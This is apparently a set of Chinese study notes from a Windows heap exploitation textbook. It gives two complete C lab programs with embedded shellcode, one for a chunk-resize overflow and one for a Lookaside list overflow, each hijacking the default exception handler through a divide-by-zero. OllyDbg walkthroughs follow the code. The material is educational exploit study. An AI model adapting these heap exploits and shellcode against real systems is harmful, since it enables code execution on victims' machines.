15.3 利用 chunk 重设大小攻击堆
实验代码,编译为Release版本:
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x39\x00\xEB\x06\x39\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x39\x00\xE4\xFF\x12\x00"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
代码的利用思路:
(1)首先 h1 向堆中申请 16 个字节的空间。
(2)由于此时堆刚刚初始化所以空间是从 FreeList[0]中申请的,从 FreeList[0]中拆卸下来的 chunk 在分配好空间后会将剩余的空间新建一个 chunk 并插入到 FreeList[0]中,所以 h1 后面会跟着一个大空闲块。
(3)当向 h1 中复制超过 16 个字节空间时就会覆盖后面 chunk 的块首。
(4)Chunk 的块首被覆盖后,当 h2 申请空间时,程序就会从被破坏的 chunk 中分配空间,并将剩余空间新建为一个 chunk 并插入到 FreeList[0]中。
(5)通过伪造 h2 申请空间前 chunk 的 Flink 和 Blink,实现在新 chunk 插入 FreeList[0]时将新 chunk 的 Flink 起始地址写入到任意地址。因此通过控制 h2 申请空间前 chunk 的 Flink 和 Blink值,可以将数据写入到异常处理函数指针所在位置。
(6)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode执行。
- h1分配的流程细节:
- 首先Freelist空闲链表进行拆卸:
- 然后获取到新chunk(也就是新的尾块)的Flink的地址:
- 获取到Freelist[0]中的Blink的值,ECX寄存器中此时存放的就是下一chunk(也就是Freelist[0])的起始地址0x00390178,所以这里ECX+4的地址也就是下一chunk(也就是Freelist[0])的Blink的地址:
- 设置新chunk(也就是尾块)的Flink和Blink的值,由于前面已经在EAX寄存器中存放了新chunk(新的尾块)的地址,所以通过EAX和EAX+4可以找到新chunk(也就是尾块)的Flink和Blink地址:
- 设置Freelist[0]的Flink和Blink的值:
- 具体实验过程使用Ollydbg进行调试,首先是执行HeapCeate创建一个堆区(包含堆块和堆表),Freelist表指向的是空闲堆块的堆表结构,所以只有空闲的堆块才会被链入Freelist堆表中,所以当堆区被创建时,只有Freelist[0]指向还未被分配的尾块(chunk),如下图所示:
- 执行完call RtlAllocreateHeap后,执行HeapAlloc函数分配给h1变量一个16字节的堆块后:
- 执行memcpy函数后,申请的h1空间被shellcode填充:
- 接下来执行分配h2的流程,进入到ntdll.RtlAllocreateHeap函数的内部,下断点在关键的位置:
- 首先取出新chunk的地址,也就是新的尾块的地址,放到EAX寄存器中:
- 此时ECX存放的是当前尾块的地址,所以这里取的是当前尾块的Blink的值,存放到EDX中:
- 设置新chunk,也就是新尾块的Flink和Blink,由于EDX中存放的是在上一步在旧的chunk(旧的尾块)中取出的Blink的值,而旧的尾块的Blink的值我们通过覆盖为0x0012FFE4,所以这里新chunk(新的尾块)的Blink会被写成0x0012FFE4。
- 设置Freelist[0]的Flink和Blink,
总结一下主要的漏洞原理,就是通过向h1堆块填充内容覆盖到尾块(chunk)的Flink和Blink,紧接着分配h2堆块时,在将新的尾块(新chunk)链入到Freelist[0]空闲链表时,会将旧尾块(旧chunk)的Flink的值写到旧尾块(旧chunk)的Blink所指向的地址。本实验会将0x003906B8,也就是shellcode的地址,写到0x0012FFE4(异常处理函数的地址)处,当程序处理异常时,就会执行到我们的shellcode。
15.4 利用 Lookaside 表进行堆溢出
实验代码,编译为Release版本:
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x39\x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
代码的利用思路:
(1)首先申请 3 块 16 字节的空间,然后将其释放到快表中,以便下次申请空间时可以从快表中分配。
(2)通过向 h1 中复制超长字符串来覆盖 h2 块首中下一堆块的指针。
(3)用户申请空间时我们伪造的下一堆块地址就会被赋值给 Lookaside[2]->next,当用户再次申请空间时系统就会将我们伪造的地址作为用户申请空间的起始地址返回给用户。
(4)当我们将这个地址设置为异常处理函数指针所在位置时就可以伪造异常处理函数了。
(5)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode执行。
- 分配h1,h2,h3堆块后,Freelist空闲表、Lookaside快表和被分配堆块如下图所示:
- 释放h3和h2后,由于分配给h2和h3的大小是16字节,所以h2,h3释放后应该链入的是Lookaside[2],此时的链条是:Lookaside[2]->next=0x00391EA8(h2),h2->next=0x00391EC0(h3):
- 下一步向h1堆块中填充shellcode:
- 仔细看此时h2的堆块位置的Flink的指针,被填充为了0x0012FFE4,此时的h2和h3已经是被释放的,它们都被链入了Lookaside[2],所以此时的Lookaside链就成了:Lookaside[2]->next=0x00391EA8(h2),h2->next=0x0012FFE4(异常处理函数在栈中的地址),此时的0x0012FFE4处存放的是0x7C8399F3。
- 当再次分配h2时,Lookaside[2]->next=0x00391EA8,所以此时分配给h2的堆块的地址还是正确的。但是h2再次分配以后,Lookaside[2]->next=h2->next=0x0012FFE4,如下图所示:
- 再次分配h3时,Lookaside[2]->next=h2->next=0x0012FFE4,所以此时h3分配到的堆块的地址就是0x0012FFE4。h3分配以后,Lookaside[2]->next=0x0012FFE4->next=0x7C8399F3(0x7C8399F3也就是0x0012FFE4所存放的异常处理函数的地址)。
- 所以接下来向堆块h3写入shellcode的地址,就会写到0x0012FFE4处,也就是存放异常处理函数的地址,当程序执行异常处理函数时,就会执行到我们的shellcode: